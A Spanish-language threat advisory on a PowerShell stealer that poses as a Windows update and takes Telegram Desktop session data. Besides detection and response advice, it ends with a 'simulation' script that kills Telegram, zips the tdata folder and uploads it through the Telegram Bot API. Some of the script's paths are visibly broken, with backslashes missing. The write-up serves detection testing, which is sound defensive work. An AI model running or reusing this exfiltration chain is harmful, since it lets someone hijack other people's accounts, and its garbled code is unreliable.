Dentro de un Ladrón de Sesiones de Telegram: Cómo un Script de PowerShell Hospedado en Pastebin Apunta a Sesiones de Escritorio y Web

Resumen

Un script malicioso de PowerShell alojado en Pastebin se hace pasar por una actualización de Windows mientras roba los datos de sesión de Telegram Desktop de los sistemas infectados. El script reúne detalles del host, comprime el tdata directorio y exfiltra el archivo resultante a través de la API del Bot de Telegram. Los investigadores también identificaron un ladrón web relacionado diseñado para capturar las claves de autenticación de Telegram Web y enviarlas a un recolector HTTP local. Ambas herramientas dependen del mismo bot de Telegram para notificaciones, aunque la evidencia disponible sugiere que permanecen en una etapa de prueba en lugar de un uso operativo amplio.

Investigación

Los analistas recuperaron dos variantes de scripts alojados en Pastebin, descubrieron tokens de bots codificados de forma rígida e identificaciones de chat, y reconstruyeron el proceso completo de exfiltración. Durante la ejecución, el script termina Telegram.exe, archiva el tdata carpeta y carga el archivo ZIP a través del método sendDocument de la API del bot. La telemetría del bot también expuso un ladrón web separado que transmitió claves de autenticación MTProto a un recolector privado alojado en 192.168.137.131:5000. En general, los hallazgos apuntan a pruebas funcionales y validación en lugar de a una campaña madura y a gran escala.

Mitigación

Las organizaciones que no requieran Telegram deberían bloquear el tráfico saliente a api.telegram.org y la infraestructura relacionada de Telegram. Los defensores deberían monitorizar PowerShell para el uso de Invoke-RestMethod or WebClient dirigido a los puntos finales de la API de Telegram y detectar archivos ZIP creados en directorios temporales que contengan tdata contenido. Cualquier token de bot expuesto debería ser revocado inmediatamente y reemplazado para prevenir un uso indebido futuro.

Respuesta

Si se descubre el script, termina el proceso de PowerShell asociado y elimina cualquier diag.zip archivos generados. Revoca todas las sesiones activas de Telegram vinculadas a la cuenta afectada y habilita la autenticación de dos factores para reducir el riesgo de acceso continuo. El token del bot debería ser cambiado, y el chat del bot vinculado debería revisarse por evidencia de datos exfiltrados. Una investigación forense más amplia también debería confirmar si se recopilaron credenciales adicionales o material de sesión.

Ejecución de Simulación

Prerrequisito: La verificación previa de Telemetría y Línea Base debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y buscar generar exactamente la telemetría que se espera en la lógica de detección.

• Narrativa de Ataque y Comandos:

  1. Reconocimiento: El atacante consulta api.ipify.org para descubrir la IP pública del host (utilizada luego para registro).
  2. Interrupción del Servicio: Detiene el proceso legítimo de Telegram Desktop para asegurar que los archivos no estén bloqueados.
  3. Recolección de Datos: Copia recursivamente el tdata directorio de Telegram Desktop (archivos de sesión) a una ubicación temporal.
  4. Archivar: Comprime los datos recolectados en diag.zip.
  5. Exfiltración: Envía el archivo al Bot de Telegram malicioso mediante Invoke‑RestMethod.
  6. Limpieza: Elimina el archivo temporal y opcionalmente reinicia Telegram.

• Script de Prueba de Regresión: Ejecuta la cadena completa de ataque en una sola línea de comando de PowerShell (coincidiendo con la regla de detección).

  # Actualización de Telemetría de Windows – Ladrón de Sesiones de Telegram
  $ip = (Invoke-RestMethod -Uri "http://api.ipify.org").Content;
  Stop-Process -Name Telegram -Force;
  $src = "$env:APPDATATelegram Desktoptdata";
  $dst = "$env:TEMPdiag";
  Copy-Item -Path $src -Destination $dst -Recurse -Force;
  Compress-Archive -Path $dst* -DestinationPath "$env:TEMPdiag.zip" -Force;
  $botToken = "123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11";
  $chatId = "987654321";
  Invoke-RestMethod -Uri "https://api.telegram.org/bot$botToken/sendDocument?chat_id=$chatId" -Method Post -InFile "$env:TEMPdiag.zip" -ContentType "multipart/form-data";
  Remove-Item -Path "$env:TEMPdiag.zip" -Force;

• Comandos de Limpieza: Restaura el entorno a su estado original.

  # Reinicia Telegram (si se desea) y elimina los datos copiados
  Start-Process -FilePath "$env:ProgramFilesTelegram DesktopTelegram.exe" -WindowStyle Hidden;
  Remove-Item -Path "$env:TEMPdiag" -Recurse -Force;